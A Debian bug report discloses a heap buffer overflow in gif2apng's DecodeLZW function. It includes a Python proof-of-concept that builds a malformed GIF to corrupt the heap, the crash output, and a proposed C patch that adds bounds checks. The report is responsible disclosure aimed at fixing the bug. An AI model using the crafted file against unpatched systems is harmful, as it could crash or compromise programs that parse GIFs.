[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

Bug#1002668: gif2apng: Heap based buffer overflow in the DecodeLZW function



Package: gif2apng
Version: 1.9+srconly-3
Severity: important
Tags: security

Dear Maintainer,

There is a heap based buffer overflow in the gif2apng package. The vulnerability is located in the DecodeLZW function in the gif2apng.cpp file. The problem here is, that this function writes to a buffer, that was allocated using malloc without checking the size of this buffer. Therefore it is possible to provide a gif to the program, that contains more data than fits into this buffer leading to a memory corruption on the heap. I wrote the following poc script in python:

#!/bin/python3

# Writing to poc.gif
f = open("poc.gif", "wb")
# Data needed to enter the code path:
beginning = b"GIF87a" + b"\x10\x00\x10\x00" + b"\x01" * 3 + b"\x2c" + b"\x01" *
9
f.write(beginning)

# Value needed in the vulnerable function
mincode = b"\x07"
f.write(mincode)
for i in range(0,10000):
      # Size value and byte we write to the heap
      target_char = b"\x01" + b"A"
      f.write(target_char)
      # Resetting the values using "clearcode" to keep the code path as simple
as possible
      clear_code = b"\x01" + b"\x80"
      f.write(clear_code)

f.close()

This script creates a file called poc.gif, which writes 10000 "A"'s into a buffer of size 512 leading to memory corruption on the heap. I tested this on Debian 10 using the current version of the package from the testing repository and got the following output:
$ gif2apng -i0 poc.gif /dev/null

gif2apng 1.9 using ZLIB

Reading 'poc.gif'...
1 frames.
malloc(): corrupted top size
Abgebrochen

This vulnerability seems to allow a write of an arbitrary number of arbitrary bytes. Therefore I think it likely, that this could be exploited.

To fix this issue locally I added a buffer_size variable to the main function, which holds the size of the allocated buffer (the imagesize value used initially for the allocation was overwritten at some point). I then passed this value to the DecodeLZW function and added two if-statements around the writes to the the buffer to check whether the buffer can hold more bytes. My code looks as follows:

void DecodeLZW(unsigned char * img, unsigned int img_size, FILE * f1) // added
parameter img_size
{
      unsigned int bytes_written = 0;
[...]
            if (lastcode == -1)
            {
               if (bytes_written < img_size) { // Added if-statement
                  *pout++ = suffix[code];
                  bytes_written++;
               }
               else {
                  printf("Invalid image size\n");
                  exit(0);
               }
               firstchar = lastcode = code;
               continue;
            }
[...]
            do
            {
               if (bytes_written < img_size) { // Added if-statement
                  *pout++ = *--pstr;
                  bytes_written++;
               }
               else {
                  printf("Invalid image size\n");
                  exit(0);
               }
            }
            while (pstr >  str);
[...]
int main(int argc, char** argv)
{
   unsigned int       buffer_size = 0; // New variable to hold the size of the
buffer
[...]
      grayscale = 1;

      buffer_size = imagesize*2; // New variable, as imagesize is overwritten
at some point
      buffer = (unsigned char *)malloc(buffer_size);
      if (buffer == NULL)
      {
         printf("Error: not enough memory\n");
         return 1;
      }
[...]
            DecodeLZW(buffer, buffer_size, f1); // Added buffer_size
[...]
               DecodeLZW(buffer, buffer_size, f1); // Added Buffer size
[...]

This compiled successfully and fixed the buffer overflow for me. I am however not sure if this is the cleanest way to fix the issue and it could use some more testing.

Best regards
Kolja



-- System Information:
Debian Release: 10.11
  APT prefers oldstable-updates
  APT policy: (500, 'oldstable-updates'), (500, 'oldstable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.19.0-18-amd64 (SMP w/8 CPU cores)
Kernel taint flags: TAINT_OOT_MODULE, TAINT_UNSIGNED_MODULE
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages gif2apng depends on:
ii  libc6       2.28-10
ii  libzopfli1  1.0.2-1
ii  zlib1g      1:1.2.11.dfsg-1

gif2apng recommends no packages.

Versions of packages gif2apng suggests:
pn  apng2gif  <none>

-- no debconf information


Reply to: